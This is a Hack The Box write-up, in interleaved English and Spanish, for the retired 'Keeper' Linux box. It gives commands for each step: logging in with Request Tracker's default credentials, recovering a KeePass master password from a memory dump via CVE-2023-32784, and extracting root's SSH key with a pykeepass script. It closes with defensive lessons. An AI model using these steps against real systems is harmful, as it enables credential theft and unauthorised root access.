Keeper
Executive summary — Keeper is a very current Easy Linux box built around secrets management: a Request Tracker (RT) ticketing system with a default admin account lets us read a ticket containing
lnorgaard's initial password. In their home there's a memory dump of a running KeePass process and the.kdbxdatabase; with CVE-2023-32784 we reconstruct the master password from the dump, and automating the database with pykeepass surfaces root's private SSH key, stored in PuTTY format. An RT → lnorgaard → KeePass dump (CVE) → root's key → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.229.41 |
Attack map
[80] Request Tracker (RT) → default credentials root:password
│ ticket reveals lnorgaard's initial password (Welcome2023!)
▼
[SSH] lnorgaard
│ home: KeePassDumpFull.dmp + passcodes.kdbx
│ CVE-2023-32784 (keepass-dump-masterkey) → master: "rødgrød med fløde"
▼
[KeePass] pykeepass automates the search → root's SSH key (PuTTY .ppk)
▼
[ROOT] puttygen → OpenSSH → ssh root (root.txt · user.txt)
1. Reconnaissance
nmap -sC -sV 10.129.229.41
22/tcp open ssh
80/tcp open http
Only two open ports: SSH and HTTP. With such a small attack surface, the entry point can only be the web application on port 80.
Resumen ejecutivo — Keeper es un Linux Easy muy actual centrado en la gestión de secretos: un sistema de tickets Request Tracker (RT) con credenciales de administrador por defecto deja leer un ticket con la contraseña inicial de
lnorgaard. En su home hay un volcado de memoria de un proceso KeePass y la base.kdbx; con CVE-2023-32784 se reconstruye la contraseña maestra a partir del volcado, y automatizando la apertura de la base con pykeepass aparece la clave SSH privada de root, guardada en formato PuTTY. Recorrido RT → lnorgaard → volcado de KeePass (CVE) → clave de root → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.229.41 |
Mapa del ataque
[80] Request Tracker (RT) → credenciales por defecto root:password
│ ticket revela la contraseña inicial de lnorgaard (Welcome2023!)
▼
[SSH] lnorgaard
│ home: KeePassDumpFull.dmp + passcodes.kdbx
│ CVE-2023-32784 (keepass-dump-masterkey) → master: "rødgrød med fløde"
▼
[KeePass] pykeepass automatiza la búsqueda → clave SSH de root (PuTTY .ppk)
▼
[ROOT] puttygen → OpenSSH → ssh root (root.txt · user.txt)
1. Reconocimiento
nmap -sC -sV 10.129.229.41
22/tcp open ssh
80/tcp open http
Solo dos puertos abiertos: SSH y HTTP. Con la superficie tan reducida, el punto de entrada solo puede estar en la aplicación web del puerto 80.
2. Foothold — Request Tracker and reused credentials
Visiting http://10.129.229.41 reveals Request Tracker (RT), Best Practical's support ticketing system. RT ships with a demo administrator account, root:password, which is still enabled here. Logging into the panel and browsing the ticket history, we find one related to onboarding user lnorgaard that exposes their initial password in plain text:
User: lnorgaard
Password: Welcome2023!
These are well-known, widely reused credentials: RT's demo account is rarely disabled in real deployments, and the initial passwords generated for new users end up leaking through the very ticketing system that manages them.
ssh lnorgaard@10.129.229.41 # Welcome2023!
Shell as lnorgaard obtained. Their home directory holds two files we'll reuse in the next phase: KeePassDumpFull.dmp and passcodes.kdbx.
3. KeePass — recovering the master password from memory (CVE-2023-32784)
KeePassDumpFull.dmp is a RAM memory dump taken while a KeePass process was open; passcodes.kdbx is the password database, encrypted with a master password we don't know yet. Goal: pull the master password out of the dump, open the database, and reach the credentials/key it holds for root.
CVE-2023-32784 affects KeePass 2.x before 2.54: the secure text control used by the master-password prompt leaves a residue of almost every typed character in process memory (the very first one is usually lost). A single memory dump is enough to reconstruct the password almost entirely. We use the public tool that implements the technique:
git clone https://github.com/matro7sh/keepass-dump-masterkey.git
python3 keepass-dump-masterkey/poc.py -d KeePassDumpFull.dmp
rødgrød med fløde
The recovered master password is, literally, the name of a Danish dessert — a good reminder that password "complexity" is worthless once it's exposed in memory.
4. Automating the extraction — pykeepass and root's PuTTY key
Instead of manually opening passcodes.kdbx in KeePassXC and digging through entries one by one, we automate the search with pykeepass, the Python library for scripting KeePass databases:
python3 -m pip install --user pykeepass --break-system-packages
The following script opens the database with the recovered master password, walks every entry concatenating title, username, password and notes, and looks for the PuTTY-User-Key-File header — the marker of a private key exported in PuTTY's (.ppk) format:
python3 - <<'PY'
from pykeepass import PyKeePass
kp = PyKeePass("passcodes.kdbx", password="rødgrød med fløde")
for entry in kp.entries:
text = "\n".join([
entry.title or "",
entry.username or "",
entry.password or "",
entry.notes or ""
])
if "PuTTY-User-Key-File" in text:
start = text.index("PuTTY-User-Key-File")
key = text[start:]
lines = [line.strip() for line in key.splitlines() if line.strip()]
with open("root-putty.key", "w") as f:
f.write("\n".join(lines) + "\n")
print("[+] Clave PuTTY guardada en root-putty.key")
break
else:
print("[-] No se encontró la clave PuTTY")
PY
[+] Clave PuTTY guardada en root-putty.key
One KeePass entry stored, in its notes, root's complete private SSH key in PuTTY format. The script extracts it and leaves it ready in
root-putty.keywith no manual intervention.
5. Escalation — from PuTTY to OpenSSH and root access
Linux SSH doesn't understand PuTTY's .ppk format; it needs converting to OpenSSH with puttygen:
sudo apt install putty-tools -y
puttygen root-putty.key -O private-openssh -o keeper-root
chmod 600 keeper-root
ssh -i keeper-root root@10.129.229.41
Session opened directly as root, with no additional local privilege-escalation technique required. System fully compromised:
cat /root/root.txt
cat /home/lnorgaard/user.txt
🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Request Tracker (RT) | Demo administrator account left enabled (root:password) → ticket leaks lnorgaard's initial password | SSH as lnorgaard |
| Credentials | KeePass 2.x (running process) | CVE-2023-32784 — the master password is left residual in RAM and reconstructed from a memory dump | Read access to the .kdbx database |
| PrivEsc | Root's KeePass entry | Root's private SSH key stored in plaintext inside the password manager (PuTTY format) | Shell as root |
Lessons learned
- Disable demo accounts on any product you deploy (RT included):
root:passwordis very widely known. - Don't leave initial passwords in plain text inside the very ticketing/support system that manages them.
- CVE-2023-32784: KeePass 2.x memory dumps (< 2.54) leak almost the entire master password. Update, and don't leave the process unlocked and unattended.
- Automating with pykeepass (or similar tools) massively speeds up secret-hunting in large databases — useful both for attacking and for auditing your own databases.
- Never store root's SSH keys — in any format — inside a standard user's password manager; a different format (PuTTY vs OpenSSH) isn't a security barrier, it only takes
puttygento convert it.
2. Foothold — Request Tracker y credenciales reutilizadas
Al visitar http://10.129.229.41 la web resulta ser Request Tracker (RT), el sistema de tickets de soporte de Best Practical. RT se instala con una cuenta de administrador de demostración, root:password, que aquí sigue activa. Con ella entramos al panel y, revisando el histórico de tickets, encontramos uno relacionado con el alta del usuario lnorgaard que expone su contraseña inicial en texto plano:
Usuario: lnorgaard
Contraseña: Welcome2023!
Son credenciales muy reutilizadas y muy conocidas: la cuenta de demo de RT casi nunca se desactiva en despliegues reales, y las contraseñas iniciales generadas para usuarios nuevos acaban filtrándose en el propio sistema de tickets que las gestiona.
ssh lnorgaard@10.129.229.41 # Welcome2023!
Shell como lnorgaard conseguida. En su directorio home aparecen dos ficheros clave que reutilizaremos en la siguiente fase: KeePassDumpFull.dmp y passcodes.kdbx.
3. KeePass — recuperar la contraseña maestra desde memoria (CVE-2023-32784)
KeePassDumpFull.dmp es un volcado de memoria RAM tomado mientras el proceso de KeePass estaba abierto; passcodes.kdbx es la base de contraseñas, cifrada con una contraseña maestra que no conocemos todavía. Objetivo: sacar la maestra del volcado, abrir la base y llegar a las credenciales/clave de root que contiene.
CVE-2023-32784 afecta a KeePass 2.x anteriores a la 2.54: el control de texto seguro que usa el formulario de contraseña maestra deja en la memoria del proceso un residuo de casi todos los caracteres tecleados (el primero suele perderse). Con un volcado de memoria basta para reconstruir la contraseña casi entera. Usamos la herramienta pública que implementa la técnica:
git clone https://github.com/matro7sh/keepass-dump-masterkey.git
python3 keepass-dump-masterkey/poc.py -d KeePassDumpFull.dmp
rødgrød med fløde
La contraseña maestra recuperada es, literalmente, el nombre de un postre danés — un buen recordatorio de que la "complejidad" de una contraseña no sirve de nada si queda expuesta en memoria.
4. Automatizando la extracción — pykeepass y la clave PuTTY de root
En vez de abrir passcodes.kdbx a mano en KeePassXC y bucear entrada por entrada, automatizamos la búsqueda con pykeepass, la librería Python para manipular bases KeePass:
python3 -m pip install --user pykeepass --break-system-packages
El siguiente script abre la base con la contraseña maestra recuperada, recorre todas las entradas concatenando título, usuario, contraseña y notas, y busca la cabecera PuTTY-User-Key-File — la marca que identifica una clave privada exportada en formato PuTTY (.ppk):
python3 - <<'PY'
from pykeepass import PyKeePass
kp = PyKeePass("passcodes.kdbx", password="rødgrød med fløde")
for entry in kp.entries:
text = "\n".join([
entry.title or "",
entry.username or "",
entry.password or "",
entry.notes or ""
])
if "PuTTY-User-Key-File" in text:
start = text.index("PuTTY-User-Key-File")
key = text[start:]
lines = [line.strip() for line in key.splitlines() if line.strip()]
with open("root-putty.key", "w") as f:
f.write("\n".join(lines) + "\n")
print("[+] Clave PuTTY guardada en root-putty.key")
break
else:
print("[-] No se encontró la clave PuTTY")
PY
[+] Clave PuTTY guardada en root-putty.key
Una entrada de KeePass guardaba, en sus notas, la clave SSH privada completa de root en formato PuTTY. El script la extrae y la deja lista en
root-putty.keysin intervención manual.
5. Escalada — de PuTTY a OpenSSH y acceso root
SSH en Linux no entiende el formato .ppk de PuTTY; hay que convertirlo a OpenSSH con puttygen:
sudo apt install putty-tools -y
puttygen root-putty.key -O private-openssh -o keeper-root
chmod 600 keeper-root
ssh -i keeper-root root@10.129.229.41
Sesión abierta directamente como root, sin necesidad de ninguna técnica adicional de escalada local. Sistema comprometido por completo:
cat /root/root.txt
cat /home/lnorgaard/user.txt
🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Request Tracker (RT) | Cuenta de administrador de demostración activa (root:password) → ticket filtra la contraseña inicial de lnorgaard | SSH como lnorgaard |
| Credenciales | KeePass 2.x (proceso en memoria) | CVE-2023-32784 — la contraseña maestra queda residual en RAM y se reconstruye desde un volcado | Acceso de lectura a la base .kdbx |
| PrivEsc | Entrada KeePass de root | Clave SSH privada de root almacenada en texto plano dentro del gestor de contraseñas (formato PuTTY) | Shell como root |
Lecciones aprendidas
- Desactiva las cuentas de demostración de cualquier producto que despliegues (RT incluido):
root:passwordes de sobra conocida. - No dejes contraseñas iniciales en texto plano dentro del propio sistema de tickets o soporte que las gestiona.
- CVE-2023-32784: los volcados de memoria de KeePass 2.x (< 2.54) filtran la contraseña maestra casi completa. Actualiza y evita dejar el proceso desbloqueado sin vigilancia.
- Automatizar con pykeepass (o herramientas similares) acelera enormemente la búsqueda de secretos en bases grandes — útil tanto para atacar como para auditar tus propias bases.
- Nunca guardes claves SSH de root —ni en ningún formato— dentro de un gestor de contraseñas de un usuario estándar; un formato distinto (PuTTY vs OpenSSH) no es una barrera de seguridad, solo requiere
puttygenpara convertirlo.